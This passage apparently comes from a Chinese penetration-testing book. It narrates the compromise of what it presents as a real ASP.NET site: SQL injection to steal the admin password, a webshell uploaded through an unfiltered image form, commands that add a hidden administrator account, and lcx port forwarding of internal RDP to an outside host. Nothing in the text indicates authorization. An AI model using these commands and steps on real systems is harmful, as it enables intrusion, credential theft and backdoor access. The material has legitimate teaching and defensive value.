2.10 以Public权限渗透某ASP.NET网站
数据库用户权限为Public的网站相对较难渗透,设置这种权限说明网站具有较高的安全意识。在通过SQL注入点获取Public权限时,需要多方分析,尝试用各种方法进行渗透测试。但无论如何,存在SQL注入点就是一种危险。攻击者能够通过SQL注入获取网站数据库的信息,通过这些信息再次进行渗透和提权就相对会容易一些,尤其是在获得网站后台管理员权限的情况下,可以通过文件包含、数据库备份、图片上传、文件上传、插入一句话木马等来获取WebShell。下面就以一个实际案例来分析攻击者如何利用Public权限渗透某ASP.NET网站。
2.10.1 寻找漏洞并进行渗透测试
1.寻找SQL注入点
通过查看网站的各个页面,寻找存在参数传入的页面并从中进行出错判断。如图2-89所示,在传入参数“typeid=1”后面附加“'”,使其自动爆出错误,通过该错误信息可以知道数据库为MSSQL。
图2-89 获取SQL注入点
2.使用各种SQL注入工具进行信息收集和数据猜测
对于ASP.NET类型的网站,除了一些大型商业专用渗透工具外,还有一些免费的工具,例如Pangolin、Havij、Domain、HDSI及“啊D”等SQL注入工具。本次渗透过程中先后使用了Pangolin和Havij。如图2-90所示,使用Havij 1.2免费版的测试效果并不好,未能获取更多的信息。
图2-90 使用Havij进行SQL注入渗透测试
技巧
·在发现SQL注入点后,一般先使用一些自动测试工具进行测试。在测试时可以依次使用多个工具进行测试,虽然这些SQL注入工具的功能大致相同,但在某些场景下,使用一些工具能够成功,使用另一些工具就不一定能成功。
·先工具,后手工,事后进行总结,加深对渗透的理解,并收集整理有用的技巧。
3.使用Domain 3.5检测到目标网站存在SQL注入点
打开Domain 3.5 SQL注入工具,单击“SQL注入”→“SQL注入猜解检测”选项,将刚才测试出错前的正常页面地址复制到“注入点”文本框中,然后单击“开始检测”按钮,如果该注入点能够进行SQL注入,则会在“检测信息”区域显示详细信息。如图2-91所示,得知该数据库是MSSQL,并获取了当前用户及当前权限等信息。
图2-91 检测SQL注入点
4.猜解数据库中的表和表中的数据
这一步是SQL注入检测中最重要的一步,如果能够成功,就意味着可以查看和修改数据库中的数据。单击“猜解表名”按钮,猜解数据库中一共有多少表,在本例中一共有33个表。通过查看数据库表名称来判断哪个是保存了管理员用户名和密码的表并选中它,单击“猜解列名”按钮获取表中的具体列名,然后选择需要查看内容的列名,单击“猜解内容”按钮获取其相应信息。如图2-92所示,获取了管理员的密码,而且管理员的密码是明文的!
图2-92 获取数据内容
5.扫描和获取后台地址
在Domain 3.5中单击“管理入口扫描”来获取管理后台入口的具体地址。在本例中,通过Domain 3.5未能获取管理后台的地址,这时候就需要动用其他方法。一个比较好的方法就是利用搜索引擎,使用“site:somesite.com登录”或者“site:somesite.com系统管理”等命令来搜索后台地址。如图2-93所示,获取了后台的详细地址。
图2-93 获取后台登录地址
6.登录测试和验证
直接打开从搜索引擎中获取的后台地址,如果能够正常访问,说明该页面可能是真正的后台地址。如图2-94所示,该页面能够正常访问,且通过页面信息可以判定该地址就是管理后台地址。输入刚才获取的用户名和密码进行测试,登录成功,如图2-95所示。
图2-94 后台地址测试和验证
图2-95 后台登录成功
2.10.2 寻找、测试和获取WebShell
1.获取图片上传页面
当使用SQL注入工具或者以手工注入方式获得管理员的用户名和密码成功登录系统后,需要查看系统信息发布等模块,确认是否存在文件上传部分,如果不存在,则尝试插入一句话木马进行后台备份等操作。在本次渗透过程中,通过查看后台的各个功能模块,发现有4个信息添加模块。在新建会员模块中存在上传图片模块,单击链接进入新建会员模块,如图2-96所示,在图片中直接选择一个ASP.NET的WebShell,然后上传。上传成功,如图2-97所示。
图2-96 文件上传模块
图2-97 文件上传成功
2.查看文件上传的真实地址
虽然页面显示文件上传成功,但还需要找到文件上传的真正地址,核对上传的文件是否更改了后缀。而且,新建会员后,需要从前台来查看刚才添加的效果。如图2-98所示,找到会员列表,然后寻找最后添加的记录。
图2-98 通过前台查看上传的图片
网站CMS系统处理新添加的记录有两种结果,一种是按照最新时间排序,另一种是降序,因此在翻看记录时需要分析数据添加的规律。在本例中就是按照时间升序排序,即最早添加的最先显示,因此需要跳转到页码最大处才能看到刚才添加的记录。如图2-99所示,在图片上单击右键,查看图片属性,从而获取该图片的真实地址。因为上传模块未对上传文件后缀等进行限制,所以上传文件一律按照“时间+原真实上传文件名称”来命名。
图2-99 获取图片的真实地址
3.获取WebShell
在IE浏览器中打开上传WebShell的真实地址,如图2-100所示,输入WebShell的密码后,出现熟悉的ASP.NET WebShell界面。
图2-100 成功获得该网站的WebShell
2.10.3 尝试提权
通过WebShell可以查看该服务器安装程序和网站文件等,然后利用掌握的信息进行提权。在本次渗透过程中发现该服务器为内网服务器,通过防火墙映射到外网,对外仅开放了80端口,在网络地址中未配置DNS,系统中无可提权的其他可用信息。因此,首先尝试使用Pr进行提权。
如图2-101所示,先将Pr程序上传到“回收站”中,然后分别执行命令“E:\RECYCLER\pr.exe”及参数“net user temp temp2005/add”和“net localgroup administrator temp/add”。执行结果显示为“命令成功完成”,表示Pr提权成功。
图2-101 使用Pr提权
2.10.4 使用lcx命令转发并登录远程桌面
1.查看添加的用户
在WebShell中通过CMDShell查看刚才添加用户的操作是否成功。如图2-102所示,可以看到系统中已经添加了一个名为“temp”的管理员用户。
图2-102 查看添加的用户
2.使用lcx命令进行端口转发
在具有独立IP地址的计算机上执行“lcx-listen 512008”命令,意思是监听51端口,并将51端口映射到本机的2008端口,如图2-103所示。
图2-103 使用lcx进行端口监听
在WebShell中执行“E:\RECYCLER\lcx.exe”命令,参数设置为“-slave 202.XXX.XXX.XXX 51172.30.11.813389”,意思是连接IP地址202.XXX.XXX.XXX的51端口,将服务器内网IP地址为172.30.11.81的3389端口转发到202.XXX.XXX.XXX的51端口上,如图2-104所示。
图2-104 使用lcx命令进行端口转发
3.连接远程桌面
在监听51端口的计算机中打开远程终端登录界面,然后输入“127.0.0.1:2008”进行登录。输入刚才添加的temp用户名和密码,如图2-105所示,成功登录系统。
图2-105 成功进入系统
2.10.5 总结与思考
对ASP.NET的渗透思路总结如下。
·扫描目标网站,获取SQL注入点或者其他漏洞。扫描目标网站时可以使用一些商业扫描软件,例如WVS、AppScan、Webinspect、JSky、极光等。通过扫描可以获取网站程序漏洞和配置漏洞。在扫描结果中,单独的上传页面、上传组件(各种WebEditor)、网站压缩文件、bak文件的利用是防范的重点。
·利用扫描结果进行渗透测试。
·获取WebShell。常用的获取WebShell的方法是上传。通过各类Web编辑器的漏洞及某一类程序的漏洞(当然,这些漏洞的利用需要一些辅助条件)也可以获取WebShell。某些网站在被入侵后,攻击者会将整个网站打包,但下载完毕后未删除打包文件,所以如果能够成功将其下载,对于分析漏洞和获取WebShell很有帮助。
·对服务器进行提权。对服务器提权主要是看服务器上安装了哪些程序,然后采取相应的提权方法,例如读取VNC密码,读取Radmin密码,下载pcAnywhere密码保存文件,利用Serv-u直接添加用户,利用系统未安装补丁程序进行本地提权,编写autorun.inf病毒,通过MSSQL SA权限直接添加系统用户,通过MySQL udf函数提权等。
·在拥有WebShell的情况下,利用LCX端口转发实现内网突破的效果还是不错的。在使用SQL注入工具扫描不出后台的情况下,可以尝试通过Google搜索来获取后台的真实地址。